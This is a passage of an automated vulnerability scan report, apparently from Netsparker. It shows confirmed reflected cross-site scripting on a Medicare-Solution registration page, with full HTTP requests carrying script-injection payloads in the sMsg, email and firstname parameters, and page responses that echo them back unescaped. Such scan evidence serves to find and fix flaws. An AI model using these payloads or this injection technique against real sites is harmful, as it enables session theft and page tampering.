<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="'"--></style></script><script>netsparker(0x000735)</script>" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3..

Parameters

Parameter Type Value
sMsg GET '"--></style></script><script>alert(0x00073F)</script>
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00073F)%3C/script%3E&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000cfV_lhXDfkzs0UxHiiDiOYh:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:44 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">'"--></style></script><script>netsparker(0x00073F)</script></span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="demou..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET
provider_type_other GET
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET '"--></style></script><script>netsparker(0x00074E)</script>
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3
email POST '"--></style></script><script>alert(0x00074E)</script>

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=&provider_type_other=&cms_contract=3&interest_yn=Y&telephone=3&email=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker%280x00074E%29%3C%2Fscript%3E&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000gVur9fWgAC_7F_X5ounLOTp:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:46 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="'"--></style></script><script>netsparker(0x00074E)</script>" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3" height=25><inp..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET '"--></style></script><script>alert(0x000794)</script>
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000794)%3C/script%3E&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=000050Vt0eXfqdv6oT5ZfyPqpPD:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:23:51 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
